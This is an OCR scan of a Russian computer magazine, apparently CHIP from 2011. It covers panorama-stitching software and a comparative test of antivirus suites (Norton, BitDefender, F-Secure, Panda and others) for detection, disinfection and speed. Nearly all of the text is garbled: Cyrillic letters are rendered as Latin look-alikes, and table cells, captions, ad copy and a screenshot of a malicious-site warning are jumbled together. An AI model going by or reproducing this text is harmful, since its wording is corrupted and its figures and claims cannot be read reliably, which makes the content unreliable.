TaKHM o 6 pa 30 M, hto 6 bi obHapyaceH- 
Hbie KOHTpOJIbHbie TOUKH COBnaJIH. 
OAHOBpeMeHHO c 3 thm PTGui KOM- 
neHCHpyeT HCKaXCeHHH, B 03 HHKUIHe B 
pe 3 yjibTaTe noBopOTa KaMepbi. 

Hcnojib 3 yeMbiii nporpaMMOH ajiro- 
Phtm He BcerAa obecneuHBaeT HAeajib- 
Hyio CKjieiiKy, no 3 TOMy npn xejiaHHH 
B PTGui MOXCHO 3 aAaBaTb KOHTpOJIb- 
Hbie TOUKH BpyHHyiO. 3 tot pevKHM 
no 3 BOJineT noBbiCHTb KauecTBO o 6 b- 
eAHHeHHH KOMnOHeHTOB. 

Co3AaHne naHOpaMHoro CHHMKa, 
(JmKTHUeCKH HBJIiHOIAerOCH M03aHK0H 
H3 pHAa OTAeJIbHbIX H306paxeHHH, 


conpnxeHO co mhoxcctbom npo- 
6 jieM. OAHy H 3 caMbix cepbe 3 Hbix 
TpyAHOCTeit npeACTaBjiniOT HCKaxe- 
hhh. flaxe He 3 HauHTejibHbiH noBopOT 
ObBeKTHBa npHBOAHT K HeKOTOpOMy 
H 3 MeHeHHio nepcneKTHBbi, b pe 3 yjib- 
TaTe nero KOHTypbi oGbcktob Ha 
CHHMKax He coBnaAaiOT. HeM 6 ojib- 
me nacTen coAepxcHT naHOpaMa, TeM 
6 ojiee 3 aMeTHbiMH CTaHOBHTcn oth 
pa 3 JIHUHH. HCnpaBJieHHH AaHHO- 

ro HeAOCTaTKa b PTGui Hcnojib 3 yiOT- 
cn pa 3 Hbie MeTOAbi npoeiiHpOBaHHH 
H 3 o 6 paxeHHH. Tax, ecjin naHOpaMa 
COCTOHT H 3 OAHOTO T 0 pH 30 HTaJIbH 0 r 0 
pHAa (J)OTorpa(j}HH, jiornnHee Bcero 
HCn 0 JIb 30 BaTb «U;HJIHHApHHeCKHH» 
HJIH «njIOCKHH» MeTOA, B TO BpeMH 
KaK AJin «MH 0 T 03 TaXH 0 H» M 03 AHKH, 
npeACTaBjiinomeii co 6 oh ijejiyio MaT- 
pHijy chhmkob, Gojibme noAOHAeT 
«C(J)epHHecKHH» THn. Taioxe b npo- 
rpaMMe npeAycMOTpeHO hcckojibko 
A onojiHHTejibHbix MeTOAOB npoeAH- 
pOBaHHH, KOTOpbie M 03 CH 0 HCn 0 JIb 30 - 
BaTb b tom cjiynae, ecjiH hh oahh 
H 3 CTaHAapTHbIX He nOAXOAHT. H 5 H? 


nporpaMMa 

PanoramaStudio 
Pro 2.1.2 

Autopano Giga 
2.5 Beta 

PTGui 8.3.10 

CaMT nporpaMMbi 

www.tshsoft.com 

www.autopano.net 

www.ptgui.com 

H3biK nHTepcpenca 

aHr/ii/MCKi/M 

aHmi/MCKi/m 

aHUll/IHCKI/IM 

OnepaunoHHan cncieMa 

Bee Bepc 1 / 11/1 Windows 

Bee Bepci/m Windows, 
Mac OS, Linux 

Bee Bepcnn Windows, 
Mac OS X 

ycnoBiin pacnpocTpaHeHHfl 

shareware 

shareware 

shareware 

PeKOMeHflOBaHHan ueHa, py6. 

2770 

8330 

6240 

naKeman oOpaOoTKa 

• 

• 

UBeTOKoppeKunn 

• • 

- 

npaBKa KOHTpOJlbHblX TOHeK 

• 

• 

ABTOMaTMHeCKafl COpTMpOBKa 

• 

- 

npaBKa 3KCn03MUMM 

• • 

• 

nmocbi nporpaMMbi 

h an 1/1 h 1/1 e MHCTpyivieH- 
tob Ana peiyiuM 

TOHKaa HacTpoi/iKa 
COopKH 

noAAep>KKa HDR 

MMHycbi nporpaMMbi 

HeyAodHbm 

npeAnpocMOTp 

BbicoKaa ueHa 

olui/i6ki/i 
b aBTope>Ki/iMe 


• Aa — HeT 
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HacKOUbKO xopi 


3aui»niiaiOT cpencTBa 
6e3onacHOcrii? 


\3E5? TECTbl N 0E30Pbl AHTHBMpycHaa 3amma 


no c/iOBaM pa3pa60THMK0B, 6/iaro.qapa yjiyHweHHbiM TexHonori/iBM aHTMBMpycHbie 
naKeTbi cnoco6Hbi OTpawaTb aia km HOBbix BpeflOHOCHbix nporpaivuvi. Tecn/ipoBaHi/ie 
noKa3ajio, HacKOJibKO 3c|Dc|DeKTi/iBHOM ABJiaeTCfl 3amma Ha caMOM fle/ie. 


H a npOTiDKeHHH 

MHOTHX JieT HHC- 
JIO HOBbIX BHpy- 
cob HenpepBiB- 
ho pacTeT, a cko- 

pOCTB, C KOTOpOH 3JIO- 
yMBIIIIJieHHHKH C03Aai0T 
Bpe^OHOCHBie nporpaM- 
MBI, nOCTOHHHO yBeJIHHH- 
BaeTCH. B HacTOBLixee Bpe- 
mh eace#HeBHO noaBjiaeTCH 
okojio 55 000 CBeacnx bh- 
pycHBix npHjioxeHHH. Oa- 
HaKO 3HaHHTeJIBHO 6 ojib- 



o)CHIP DVD 

npo6Hbie Bepci/ii/i Bcex 
ami/i bh pycH bix nporpaMM, 
npi/iHABLui/ix ynacTMe b 
TecTi/ipoBaHi/ 11 /i, pa3Meiue- 
Hbi Ha HameM DVD. 


mee onacemie BBi3BiBaeT tot (J>aKT, 
hto noBbiLuaeTCH h KanecTBO onacHoro 
no. KoMnbiOTepHbiH nepBb Stuxnet 
MoxeT OKa3aTbca npeaBecTHHKOM 6y- 
aymnx yrp03, HecMOTpa Ha to hto oh 
H anpaBjieH npOTHB npOMbimjieHHbix 
CHCTeM. Pa3pa60THHKH aHTHBHpyCOB 
ycTaHOBHJiH, hto TpoHHCKHe nporpaM- 
Mbi, Keiuiorrepbi h HHTepHeT-6oTbi 
Taioxe co3aaK>TCH Ha 6ojiee bhcokom 
npo4>eccHOHajibHOM ypOBHe h ctbho- 
bhtc r Bee onacHee. B OTcyrcTBHe aHTH- 
BHpycHOH 3amHTbi 3apa:x;eHHe kom- 


106 O 


DVD/DOWNLOAD: BCE nPOrPAMMbl Bbl HAI/lflETE B PA 3 AEJ 1 E fll/ICKA BOHYC 


www.ichip.ru CHIP I OEBPAJlb 201 1 


CD0T0: K0MnAHMM-nP0M3B0flMTEJlM; YUNUS ARAK0N, MATTHEW COLE, 0EZGUER D0NMAZ, DAVID FREUND, 







HOBbie aHTMBM- 
pycHbie naneTbi 
o6ecnemiBaiOT: 


HarjiflflHOCTb B/iaroflapa TaKOMy i/imepcfDeM- 
cy flawe HeonbiTHbie nonb 30 Baiejin cpa3y 
yBMfl^T, 3 amnLneH nn mx KOMnbKrrep 


ynyHUJEHHym 3Ami/uy b pe>kmme 

PEAJIbHQrQ BPEMEHI/I 

3c()ct)eKTMBHbm aHa/iM3 noBefleHM5i 
npeAOxpaH^ieT ot Hen3Becmbix yrpo3. 

5E3QflACHblM BEB-CEPOMHr 

y/iyHweHHafl 3amma 6pay3epa 6 jiokm- 
pyeT 3arpy3Ky noA03pmejibHbix caMTOB 
m Hewe/iaTe/ibHbix cf)aM/iOB. 

«05JlAHHym» 3AmMTy 

Mcno/ib3yfl TexH 0/10 run penyiaunn, 
cpeACTBa 6e3onacHocTM ornMHafOT 
onacHoe no ot 6e3BpeAHoro. 

5QJ1EE nPQCTQE ynPABJIEHME 

HamflAHoe Memo nHc|)opMMpyeT no/ib- 
30BaTe/ifl m He bboamt b 3a6/iy>KAeHMe. 


U KDMrtbKrrep iaijjM4|e»H 0 


nbiOTepa — oto jihiii b Bonpoc BpeMe- 
hh. CoBMecTHO c TecTOBOH jiaGopaTO- 
pneH AV-Test mbi npOBepHjin, Hacxojib- 
ko xoporno HOBoe noxoneroie cpeacTB 
6 e 3 onacHOCTH iipothboctoht coBpe- 
MeHHBiM aTaxaM. 

B nocjieAHHx Bepcnnx 3amnTHBix 
nporpaMM pa3pa6oTHHXH ycoBepmeH- 
CTBOBajin (J)yHKiiHK) oGHapyxceHHH BH- 
pycoB b pexHMe peajiBHoro BpeMeHH 
Ha ocHOBe noBeAemecKoro aHajiH3a 
H «06jiaHHyK)» 3aLHHTy. TpaAHHHOHHbie 
BHpycHBie CHraaTypbi HcnojiB3yiOTC5i 
AO CHX nop, HO OHH HC3(|)C|)eXTHBHbI 
npoTHB CBexcHx, eme HeH3BecTHbix 
BpeAOHOCHBix npHJioxceHHH. B nocjieA- 
HeM cjiynae nporpaMMa 6e3onacHOCTH 
AOJHKHa npoaHajiH3HpOBaTB, xax no- 
BeACT ce6a He3HaxoMaa ymjiHTa. Jinn 
3T0T0 OHa KOHTpOJIHpyeT H3MeHeHHH 
b CHCTeMe hjih xe cpa3y 3anycxa- 
eT npHjioxeHHe b 6e3onacHOH cpeAe 
(«necoHHHH;e»). 

PenyiaiiMfi: 3amma b pe>KMMe 
pea/ibHoro BpeivieHM 

BaXCHeHIHHM HOBHieCTBOM « 06 jiaHH 0 H» 
3amHTbI B 3TOM YOJiy CTaJIH TeXHOJIOTHH 
penyTauMH. Ot Bcex HcnojiB3yeMBix na- 
KeTOB 6e30naCH0CTH npOH3BOAHTeJIH c 


comacHH nojiB 30 BaTejiH nojiynaiOT hh- 
(jDopMaAHK) 06 HCTOHHHKe, pa 3 Mepe H 
nOBeAeHHH HeH 3 BeCTHBIX (JiaHJIOB, KO- 
TOpBie OTnpaBJTHIOTCH Ha «o6jiaHHBIH» 
cepBep, rae BbinojnraeTcn hx aHajiH 3 . 
«TaKHM o 6 pa 30 M moxho pa 3 JiHnaTb 
HeonacHbie h coMHHTejibHbie (J>aHJiBi 
erne ao toto, xax ohh noHBHTca b jia- 
6opaTopHH», — 3 aMenaeT IIlTecliaH 
Berne, TexHHHecxHH Anpexrop xoMna- 
hhh Symantec. AHajno penyraitHH — 

BbiBOA 

EOJlbWMHCTBO yHaCTHMKOB TeCTMpOBa- 
hmh CAena/ii/i cepbe 3 Hbm mar BnepeA 
b Ae/ie 3 aiAMTbi ot Hen 3 Becmbix Bpe- 
AOHOCHbix nporpaMM. no 6 eAMTe/ib Te- 
cra Norton BHe KOHKypeHAMM: oh 
npeA-naraeT/iyHWMM naKeT cpeACTB 
6 e 3 onacHOCTM. BitDefender c ero 
BbICOKOM np 0 M 3 B 0 AHTe/lbH 0 CTbK) M 
F-Secure, o 6 ecneHMBafoiAMM HaAew- 
Hyfo 3 aiAMTy b pe>KMMe pea/ibHoro 
BpeMeHM, TO>Ke b bi mn a^t Bno/iHe 
y 6 eAMTe^bHo. A bot zieneHMe 3 apa- 
>KeHHOM CMCTeMbl HB/lHeTCH c/ia 6 oM 
ctopohom Bcex aHTMBMpycHbix nane- 
TOB — npOM 3 BOAHTe/ 151 M Heo 6 xoAMMO 
nopa 6 oTaTb HaA 3 tmm. 



3 to tojibko oahh H 3 3 TanoB oGrapyace- 
HHH BpeAOHOCHBix npOTpaMM, HO OH 
noMoraeT CHCTeMe 6 e 3 onacHOCTH pe- 
TTTHTb, KaK nOCTynHTb C HeH 3 BeCTHbIMH 
(J>aHJiaMH. Ha cxeMe Ha CTp. 108 Ha npH- 
Mepe F- Secure moxcho yBHACTB, xax 3 to 
cjiy h xhh o h npyer. 

TexHOJiomH HyacAaiOTcn b nocTO- 
HHHOM COBepmeHCTBOBaHHH, Tax xax 
co 3 AaTejin BpeAOHOCHoro no ocoGeH- 
ho npHCTajiBHO cjieAHT 3 a noBeAemie- 
cxhm aHajiH 30 M aHTHBHpycHbix npo- 
rpaMM, hto 6 bi oOMaHyTB ero. ComacHO 
HH(J)opMaitHH Symantec, hm yAaeTcn 
onepeAHTB aHTHBHpycBi b cpeAHeM 
Ha OAHy-ABe HeACJin, noxa pa 3 pa 6 oT- 
hhxh 3 ain,HTHBix cpeACTB He OTpeara- 
pyiOT Ha 3 to. OAHaxo Hame TecmpOBa- 
Hne noATBep^AaeT: ypOBeHB pacno 3 - 
HaBaHHH HeH 3 BeCTHBIX BpeAOHOCHBix 
npHJIOXeHHH 3 HaHHTeJIbHO nOBBICHJI- 
ch no cpaBHeHHio c no 3 anpomjibiM 
toaom: b 2009 -m oh He npeBbimaji 80%, 
a TenepB y Bcex nporpaMM cocTaBjineT 
MHHHMyM 85%. F- Secure BBinBHjia Bee 
Hen 3 BecTHbie BHpycBi, Tax xe xax h 
PC Tools (yTiuiHTa PC Tools Threat- 
Fire, oGHapyxcHBaiomaii BpeAOHOCHoe 
no Ha ocHOBe noBeAeHnecxoro aHa- 
jiH 3 a, pa 3 MenteHa Ha HameM DVD). 
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Eoiiee 9()}c|)eKTMBHd5i 3ainma 
c noMouibK) «o6/iaKa» 

HoBbie «o6;iaHHbie» TexHOJiorm/i, npmvieHfleMbie, b nacTHOCTM, npor- 
paMMoti F-Secure, ocHOBbiBawTca Ha odbeMHbix 6a3ax flaHHbix h He 
npi/IBB3blBaK)T aHTMBHpyCHbM CIQHep K HaJlMHl/IK) MHTepHeT-COeflHHeHI/lfl. 


YcTapeBUJiie 

TeXHOJIOrHM 



yjiyHiueHHbie 

TeXHOJIOrHM 






u 


QrPAHMHEHHblE flAHHblE 

• «06/iaHHbie» cepBepbi xpaHAT TO/ibKO mhcJdop- 
mi\m 06 i/i3BecTHbix Bupycax. 

• Ka>xflbm pa 3 npi/i o 6 Hapy>xeHi/ii/i Hei/i 3 Becmoro 
cpaM/ia ami/iBi/ipycHOMy cxaHepy Heo 6 xofli/iivio no- 
cbmaTb 3 anpoc Ha Taxon cepBep. 


B0J1EE BbICTPOE OBHAPY)KEHME BMPYCOB 

• HeonacHbie, y>xe npoBepeHHbie 
cxaHepoM (Jjawjibi TO>Ke pa 3 Meiflax)TCfl 
b 6 a 3 e flaHHbix. 

• Bnaroflapa TOMy hto OHa pa 3 ivie- 
iflaeica Ha jioxa/ibHOM KOMnbK)Tepe ; 
aHTi/iBi/ipycHOMy cxaHepy Go/ibwe 
He Tpe 6 yeica i/iHTepHei-coefli/iHeHi/ie. 


AHTMBMpycHbm CKaHep 

AHaan 3 



3 aiflma . AHTMBMpycHbm 
r 6 pay 3 epa r 


flBM>KOK ^ noBefleHMH ►JleneHMe 


«06/iaHHafl» 6a3a flaHHbix cepBepa Ha 11K 

coflep>KHT c/ieflyioiflyK) i/mcpopMaumo: 


curHaiypa 
M 3 BeCTH bIX 
BMpyCOB 


xem-KOfl 

HeonacHbix 

cpaM/ioB 


l/ICTOHHI/IK 

CjDaMJlOB 


CKaHHpoBaHHe 6e3 ncnojib30BaHHH aHa- 
jiH3a cnmaTyp Taxace 3aMeTHO yjiyn- 
imuiocb, ho Bee eme He oGecnenHBaeT 
onTHMajiBHOH 3aLHHTbi. IIlTe^aH Berne 
yTBep>KflaeT: «yjiyHineHHe (J)yHXHHH 06- 
HapyaceHHH BpeflOHOCHoro 110 Ha ocho- 
Be aHajiH3a noBefleHHH nporpaMM h pa3- 
BHTne TexHOJioraH penyraiiHH BBjiHiOTca 
maBHbiMH 3aflanaMH GjHDxaHHmx jieT». 

Oxoia Ha BMpycbi: He Bee cpefl- 
CTBa 6e3onacHOCTM pafioiaiOT 

Hapitay c peajiBHO cy mecTBy fo lhh m h 
BH pycaMH ynacTHHKaM TecTHpOBaHHH 
Heo6xoflHMO 6buro oGHapyxnib co3flaH- 
Hbie b jia6opaTopHH BpeaoHOCHbie npn- 
JTOXCeHHB, M OfleJT Hpy K) LHH e HOBbie no- 
TeHLtHaJIBHBie yrp03BI. AHTHBHpyCHBie 
cxaHepbi no TpedoBaHino He cmotjih pac- 
no3HaTB no cnmaTypaM aa>xe oth npor- 
paMMbi. Tyr noTpe6oBajiHCB npeacfle 
BCerO OBpHCTHHeCKHe MeTOflbl, KOTOpBie 
aHaJIH3HpyiOT BpeflOHOCHblH KOfl no 
CXOflCTBy C H3BeCTHbIM BHpyCOM. B TO 

BpeMH xax rpynna jin^epOB flocTHraa 
cepBe3Hbix pe3yjibTaT0B h oGmpyacH- 
jia ot 97 jxo 100% tpohhob, GoKflopOB 
h (J)ajibniHBbix 3auxHTHbix nporpaMM, 
y Kaspersky h ESET c othm bo 3 hhkjih 
npoOjieMBi. Y hhx npoueHT BepHoro pac- 
no3HaBaHHH — npe^fle Bcero b cjiyuae c 
TpOHHaMH H (J)aJIBIHHBBIMH aHTHBHpyc - 
hbimh npoflyicraMH — 6 bin HHace cpeziHe- 
ro noxa3arejiH. ESET He npeoflojiejiflaxe 
90-npoHeHTHoro Gapbepa h nponycrar 
okojio 30 000 noTeHu;HajibHBix yrp03. 
Kax floiDKeH paGoTaib aHTHBHpyc, noxa- 
3ajio penieHne Panda: H3 270 000 o6pa3- 
hob OHa He OTCJieflHJia jihhib 646. 

TeM He MeHee c oGimTejibHbiM Tec- 
tom — noji- 
hbim odHapy- 
xeHneM H3Be- 
CTHblX BpeflO- 
HOCHBIX npo- 
flyxroB — Bee 
nporpaMMbi 
CnpaBHJIHCB 
OTJIHUHO. a- 
>Ke XOJIHHeCT- 

bo ohihGou- 
hbix npefly- 
npexfleHHH 

npn odHapyaceHHH HeonacHBix 
4>aHJiOB oxa3ajiocB b npe^ejiax 
flonycTHMoro. Ilpn cxaHHpOBa- 
hhh 11 604 (J>aHJiOB Endows h 

0(})HCHBIX npHJI03CeHHH HHXTO H3 
ynacTHHxoB TecTHpOBaHHH He 6 hji 
jioxHyio TpeBory. Ilpn npOBep- 


xe 135 712 (j)aHJiOB flpyrnx nporpaMM 
6e3 oihhGohhbix cnmajiOB oGohljihcb 
FS ecure h G Data. EojiBine Bcero jiox- 
hbix npeflynpexfleHHH cflejiaji naxeT 
Avira: 3a BpeMH TecTa hx HaGpanocb 

B 06meH CJIOvKHOCTH ceMB. 


FlopameHMe BMpycoM: 

Heno^Hoe ^eneHne 

Pa3pa60THHXH OnTHMH3HpOBaJIH aHTH- 
BHpyCHbie flBH>KXH: OHH fleMOHCTpHpy- 
K)T BbicoxHH npoueHT pacno3HaBaHHa 
yrp03, h jiHnib HeMHorae H3 hhx nofla- 
K)T jioxHbie cnmajibi TpeBora. Ho ouem> 
BaxHOMy nyHXTy He Gbijio yflejieHO 
flOCTaTOHHO BHHMaHHH: peHB HfleT 06 
OHHCTxe 3apaxeHHOH cncTeMbi. Hh oa- 
HOMy aHTHBHpycy He yuarocb yHHHTO- 
>KHTb Bee BpeflOHOCHbie cjDanjibi. JlynniHH 
pe3yjiBTaT npofleMOHCTpnpOBajia ymiiH- 
Ta PC Tools: y fle bhth H 3 aecaTn BHpycoB 
OHa yflajiujia no MeHBmeir Mepe axmB- 
HBie xoMnoHeHTBi, a b cjiynae c BOceMbio 
H3 HHX — BCe H3MeHeHHBie CHCTeMHBie 
(J>aHJibi. McAfee h ESET He cnpaBHjiHCb 
c aHajiomuHOH CHTyau;HeH: y neTbipex 
BpeflOHOCHBIX npOflyXTOB OHH He CMOTJIH 
yflajiHTB flaace axmBHBie xoMnoHeHTBi. 

B cjiynae ecjin BMpycHaa aTaxa oxa- 
aceTca HacTOJiBxo arpeccHBHOH, hto 
fleaxmBHpyeT aHTHBHpyc hjih cflejiaeT 
HeB03M0xcHBiM 3arpy3xy xoMnbiOTepa, 
noMoaceT aBapHHHBin Live CD, xoto- 


r (H,tWi!U|H 1011 

3 

nrarr™, ■ n S Hewn 

r 


fr ptulH A|>HR41 n* 


BitDefender no3- 
BOJiaeT BbidpaTb 
Han6o/iee yflodHbm 

BHeWHMM Bl/lfl 



PesynbTaroB: npm 

BECnjIATHCf 


B xofle ananioa Be6-penyTai|MM McAfee 
Trusted Source Ha stom caHTe o6HapytKeHbi 
noieHuManbHbie yrpoabi BesonacHOCTM. 
CodmoflatiTe KpaMHKNO ocTopo*HOcn>. 


CaMbin KpynHbifi 
Mo>KeTe cKanaT 


cbMnbMbiO^ BECfUlATHOE FIOPHO BMflEO - cKanaTb SecnnaTHO nopHO BHfleo h 

Ti — — „ . nopHO cpunbMbi 

22 OKT 2010 ... marmeladki.ru 
4>MlbMbl 

www.marmeladh 

npoHHtaTb OTneT no caittv 

06 HOBMTb nporpaMMHoe o 6 ecneMeHne no SiteAdvisor Plus 


cDiMibipauMsi Be 6 -caMT 0 B CxaHepbi otjiuhho 
6 /ioxnpyiOT flodyn x onacHbiM pecypcaM 
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pbift nocjie 3 anycKa o 6 hobht cnraaTy- 
pbi Bpe^OHOCHoro IIO. K coxajieHHio, 
3 arpy 3 Ka ManiHHBi c ycTaHOBOHHO- 
ro HOCirrejiH He Bcer^a B 03 M 03 CHa, h 
nojn> 30 BaTejiK) npHxoAHTca caMOCTOH- 
TeJIBHO C 03 flaBaTB flHCK aBapHHHOrO 
BOCCTaHOBJieHHB nOCJie HHCTaJUIHItHH 
aHTHBHpyca. B pe 3 yjn>TaTe cootbctct- 
Byion^HM nporpaMMaM 6 biji CHicxeH 
HToroBBiH 6 ajui. Tax, PC Tools 3 to 
H cnbiTaHHe ctohjio AByx no 3 Hn;HH b 
odnjeM 3 aaeTe. IlaKeT McAfee Toace 
noKa 3 aa ce 6 a He c jiyamen ctopohbi: 
oh He no 3 BOJiaeT co 3 aaBaTb jxhck aBa- 
pHHHOrO BOCCTaHOBJieHHH. 

Be 3 COMHeHHH, 3 amHTa OT BHpyCOB 
aBjiaeTca caMbiM BaacHbiM xpHTepneM 
B TeCTHpOBaHHH. Ho XOT^a aHTHBHpyC 
CHJIbHO T 0 pM 03 HT pa60Ty CHCTeMbI, Aa- 
ace caMbiH HaAexHbiH KOMnbiOTep bbi- 
3 biBaeT y nojib 30 BaTejia HeraTHBHbie 
3 MOIJHH. Il 03 T 0 My HaM XOTeJIOCb Taxace 
y 3 HaTb, KaKHe aHTHBHpyCbl 3 X 0 H 0 M- 
Hee Bcero pacxottyiOT CHCTeMHbie pe- 


cypcbi. H3MepeHHH npo- 

H 3 BOAHTeJIbHOCTH nOA" 
TBep^HjiH Harne cy 6 b- 
eKTHBHoe BneaaTjieHHe: 
3 #ecb HMeiOTca 3 aMeT- 
Hbie pa 3 JIHHHH. Tojib- 
ko pe 3 yjibTaT yrajin- 
tbi BitDefender MoacHO 
Ha 3 BaTb otjihhhbim: 
OHa aobojibho 6 bi- 
CTpO npOCKaHHpO- 
Bajia cjDaiuibi b chc- 
TeMHOM pa 3 flejie h 
H ecHjibHO OTCTajia no 
ApyrnM noKa3aTejraM. Norton Internet 
Security, HeAOCTaTxoM KOTOpon pam>- 
me 6 bijio npe 3 MepHoe noTpedjieHHe 
pecypcoB, 6 jiarottapa 6 biCTpbiM 3 arpy 3 - 
xe h CKaHHpoBaHHio CHCTeMbi noxa 3 a- 
jia BTOpon pe 3 yjibTaT h npH 3 tom ot- 
jihhho cnpaBHjiacb c 3 antHTOH ot BHpy- 
cob, odecneuHB cede nodeAy. 

3arpy3Ka cncieivibi: 

cnpuHTepbi n CTaMepbi 

H 3 MepeHne BpeMeHH 3 anycKa 03 HaMe- 
HOBajio nojiHbiH npOBaji naxeTa Kas- 
persky: b cjiyuae c hhm HeodxoAHMO 
HaMHoro ttojibine, ueM npH Hcnojib 30 - 
BaHHH apyrHx nporpaMM, ac^arb, noxa 
Windows 3 arpy 3 HTca h 3 anycTHT 3 a- 
mmy b peauiMe peajibHoro BpeMeHH. 
ESET, xoHeuHO, He odecneuHBaeT a 6 co- 
jnoTHyio 6 e 3 onacHOCTb, 3 aTO He 3 aMeA- 
jiaeT 3 anycx CHCTeMbi . 

Ebijih BbiaBjieHbi dojibinne pa 3 JiH- 
HHH H npH CXaHHpOBaHHH (JiaHJIOB B 
CHCTeMHOM pa 3 flejie. B H^eajie cxa- 


HoBbie 

MHTepHeT-yrpo3bi 

«npoc|3eccMOHa^bHbie» BMpycbi cKpbma- 
kdtch Jiynwe m wnMOHm 3a no/ib30Baie- 
jieM. Pa3pa6oTHMKM 3amMTHbix npoflyK- 
tob paccKa3a/iM HaM o TeHfleHUMfix pa3- 
BMTMfl yrp03 B 6/lM>KaMLl]Me Mec^ubl. 

CJ1E)KEHI/IE 3A J1MHH0M )KM3HbK) 

HeM MHTeHCMBHee jikdam Mcnojib3yiOT 
UMcfipoBbie TexHO/iorMM, TeM 6o/ibiue 

MO)KHO y3HaTb 06 MX HaCTHOM >KM3HM M 
MHflMBMflya/ibHbix npeflnoHTeHM 5 ix. V\3- 
paM/ibCKMe MccBeflOBaieBM npeAynpew- 
AafOT, HTO 3Ta MHC|)OpMaUMfl CKOpO OKa- 
wera b uempe BHMMaHMn co 3 Aaie/ieM 
BpeAOHOCHoro 110: 3/ioyMbi uineHHMKM 
ciaHyr Bee name npoAaBaib m ny 6 /iMK 0 - 
Baib ee mjim matm Ha LuaHTaw. 
CnEL|MAJlbHblE BHPYCbl 
noAo 6 HO TOMy KaK Stuxnet nopa 3 M/i npo- 
MbiiuaeHHbie cMcreMbi, cKopo BMpycbi 
CMoryr npMite/ibHO aiaKOBaib m AOMaw- 
hmx no/ib30BaieBeM. OnacHocTb 3 aicmoHa- 
eTCfl B tom, hto, ec/iM BpeAOHOCHOe npM- 
JIO)KeHMe HaXOAMTCH JlMUJb Ha HeCKOJlbKMX 
KOMnbfOTepax, pa3pa6oTHMKM amriBMpyc- 
Hbix nporpaMM BpnA -nn ero o 6 Hapy>KaT. 
KaKTO/ibKO cymecTByfoiAMe Ha 6 opbi bm- 
pycoB nepecTaHyr 6 biTb 3K0H0MMHecKM 
BbiroAHbiMM, HaHHyTCfl noAo6Hbie aTaKM. 

nOBblLUEHI/IE flPQcDECCI/IOHAni/l3IVlA 

KM6epnpecTynHMKM o6beAMHfliOTai b 
npoc(}eccMOHa^bHbie rpynnbi nnx koh- 
ueHTpauMM pecypcoB. 3a cneT 3Toro 
ohm MoryT co3AaBaTb 6o/iee coBep- 
meHHbie BMpycbi, KOTopbie eme ^yniue 
CKpblBaKDTCH OT nporpaMM 3aiAMTbl. 



Cmotpn TB b 
YAo6hom cpopMaie 




PCI aHanoroBbivi TB/FM 

TIOHep 


PCIe aHanoroBbJM 
TB/FM TKJHep 


aHa/ioroBbiM 


TB/FM TiOHep 


USB 2.0 


USB 2 0 DVB-T 
v\ aHanoroabitfl 
TB/FM Tiowep 
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Hep AOJixeH 3anoMHHaTt AaHHBie, ko- 
Topbie 6 bijih npoaHajiH3HpOBaHLi, h 
npH nocjTeayfOLHHx nponenypax Tma- 
TeJILHO npOBepHTL TOJIBKO HOBbie 

hjih H3MeHeHHBie AOKyMeHTBi. Panda, 
G Data h ESET npH nepBHHHOM cxa- 
HHpoBaHHH noHaAodmiocB b TpH pa- 
3a dojibine BpeMeHH, neM BitDefender, 
A a h npH btopom npoxoAe ohm 6bi- 
jih HeHaMHoro 6biCTpee. CorjiacHO 
3anBjieHHnM pa3pa6oTHHKOB naxeTa 
G Data, TpedyeMoe BpeMH aojdk- 



HO yMeHBIHHTBCH nOCJie HeCKOJIBKHX 
CKaHHpOBaHHH, OAHaKO HieCTB Apy- 
THX ynaCTHHKOB TeCTa COKpaTHJIH 
ero ao HeCKOJIBKHX MHHyr yace npH 
btopom npoxoAe. 

npH pacnaKOBKe apxHBOB h Konn- 
pOBaHHH (J)aHJIOB C I1K Ha BHeiHHHH 
HaKonHTejiB no USB 6 bljih bbiubjichbi 
H e3HanHTejiBHBie otjihhhh. npH noone- 
peAHOH ycTaHOBKe aHTHBHpycHBix npo- 
rpaMM TecTOBBiH KOMnBiOTep cnpaB- 
JIHJICH C 3THMH 3aAanaMH npHMepHO 
C OAHHaKOBOH CKOpOCTBK), 
a 6e3 aHTHBHpyca BBiHrpBim 
BO BpeMeHH COCTaBHJI JIHIHB 
HeCKOJIBKO CeKyHA. 

MHTeptpeuc: noHHTHbm 

M MH(}DOpMaTMBHblM 

3anyraHHoe ycipoHCTBO h 
B cnjiBiBaioiAHe coodmeHHn 
6 bijih AaBHHMH npodjieMa- 


no6eflmenb Tecia naKeT cpeflCTB fl/ia oOecnenem/m 
6e3onacHOCTM Norton Internet Security 2011 oOecnenM- 
BaeT jiynmyK) 3aiamy m BbicoKyio npon3BOAMTejibHOCTb 



mh aHTHBHpycHBix naxeTOB. Tax KaK b 
B onpocax 6e3onacHOCTH HeodxoAHMa 
nojiHan hchoctb, nporpaMMBi aojdkhbi 
HC n0JIB30BaTB 0AH03HaHHBie CHMBOJIBI 
AJIH yKa3aHHH ypOBHH 3aiHHmeHHOCTH 
KOMnBiOTepa h nyreH pemeHHH bo3hh- 
KaiontHx npodjieM. KpOMe Toro, anra- 
BHpycHBie yrajiHTBi aojhkhbi onoBe- 
niaTB nojiB30BaTejieH tojibko b cjiynae 
onacHOCTH, hto6bi He cdHBaTB hx c 
TOJ iKy. BitDefender c ero bo3moxcho- 
CTBK) BBl6opa OAHOrO H3 Tpex HHTep- 
(J)eHCOB (AJIH hobhhkob, oGbihhbix 
nojiB30BaTejieH h npocjieccHOHajiOB) h 
G Data noKa3ajiH, hto ohh ynHTBiBaiOT 
3 th noTpedHOCTH, npeAJioxHB npeAejiB- 
ho noHHTHBra HHTep(J)eHC. F- Secure 
Taxace noAKynaeT AOCiynHO H3Ji03ceH- 
HOH HH4)OpMau:HeH h xoponio npOAy- 
MaHHOH CTpyKTypOH MeHK). 

A bot b nporpaMMe Norton Haifra 
HyJKHyiO HH(J)OpMau;HK) HeCKOJIBKO 



INTERS 
: SECURi 


OnTMMAJlbHblM 

BblEOP 

2/2011 



1 MECTO 


Norton Internet 
Security 2011 


2 MECTO 


BitDefender Internet 
Security 2011 


3 MECTO 


F-Secure Internet 
Security 2011 


4 MECTO 


Panda Internet 
Security 2011 


n _ www.bitdefen- www.pandasecurity. 

Aflpec b MHT6pH6T6 www.symcint6C.com dGr201 1 ru www.f-SGCur6.com com 

PeKOMeHAOBaHHan ueHa, pyd. 1590 1400 2075 1650 

OdiAafl oueHxa 92 91,2 89,9 87,8 

AHTUBupycHaa 3amina (70%) 93,1 91,1 93,4 93,3 

np0M3B0AMTeJibH0CTb (30%) 89,5 91,4 81,8 74,9 

TexHnnecKne xapaKTepncmKn m pe3yiibTaTbi u3MepeHnn 


